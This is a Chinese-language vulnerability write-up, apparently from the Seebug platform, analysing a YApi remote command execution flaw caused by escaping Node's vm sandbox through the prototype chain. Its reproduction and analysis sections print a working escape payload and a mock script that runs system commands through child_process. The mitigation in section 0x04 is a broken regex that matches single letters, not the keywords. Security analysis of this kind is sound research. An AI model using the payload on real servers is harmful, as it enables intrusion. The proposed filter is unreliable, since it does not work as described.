时间:2021年7月15日
0x01 简述
require('vm')
来构建沙箱环境,而攻击者可以通过原型链改变沙箱环境运行的上下文,从而达到沙箱逃逸的效果。通过 vm.runInNewContext("this.constructor.constructor('return process')()")
即可获得一个 process 对象。影响版本
漏洞影响面
0x02 复现
0x03 漏洞分析
server/utils/commons.js line 635
The vm module is not a security mechanism. Do not use it to run untrusted code.
vm
模块并不是一个完全安全的动态脚本执行模块。先来看看 vm 有哪些执行命令的函数。contextObject
用来表示上下文。但是这个上下文并不是完全隔离地运行的,可以通过原型链的形式实现沙箱逃逸。> vm.runInNewContext("this")
{} // this 是一个空对象
> vm.runInNewContext("this.constructor")
[Function: Object] // 通过 this.constructor 可以获得一个对象的构造方法
> vm.runInNewContext("this.constructor('a')")
[String: 'a'] // 获得了一个字符串对象
> vm.runInNewContext("this.constructor.constructor('return process')")
[Function: anonymous] // 获得了一个匿名函数 function() { return process; }
> vm.runInNewContext("this.constructor.constructor('return process')()")
process {
title: 'node',
version: 'v10.19.0',
...
} // 获得了一个 process() 函数的执行结果
// 接下来就可以通过 process.mainModule.require('chile_process').execSync('command') 来执行任意代码
const contextObject = Object.create(null)
,但是这种方法有个缺点,这样禁用了内置的函数,业务需求完全得不到实现。有文章《Node.js沙盒逃逸分析》提到可以用 vm.runInNewContext('"a".constructor.constructor("return process")().exit()', ctx);
绕过原型链为 null 的限制。测试后发现无效,如果不考虑业务需求的话,Object.create(null)
应该是一种终极的解决方案了。server/utils/commons.js line 635
处下断点,构造 mock 脚本,然后访问 mock 接口,程序运行停止在断点处。使用 F11 Step into
进入server/utils/conmmons.js
处,单步调试至line 289
,再用 F11 进入沙盒环境。const sandbox = this // 将沙盒赋给了变量 sandbox
const process = this.constructor.constructor('return process')() // 利用原型链进行沙盒逃逸获得 process 对象
mockJson = process.mainModule.require('child_process').execSync('whoami && ps -ef').toString() // 给 sandbox.mockJson 赋值了命令执行的结果
context.mockJson = sandbox.mockJson
并将 mockJson 作为 req.body 返回用户,于是就可以在页面中看到命令执行的反馈。0x04 防护方案
api/common/postmanLib.js
的第178行,在函数 function sandboxByNode(sandbox = {}, script)
的开始添加一段过滤: const filter = 'process|exec|require'; const reg = new RegExp("["+filter+"]", "g"); if(reg.test(script)) { return false; }
0x05 相关链接
往 期 热 门
(点击图片跳转)
404 StarLink Project 2.0 - Galaxy 第七期
傻瓜式 fuzzing 系列一
聊聊 Synology NAS Audio Station 套件未授权 RCE 调试及 EXP 构造
本文始发于微信公众号(Seebug漏洞平台):yapi 远程命令执行漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论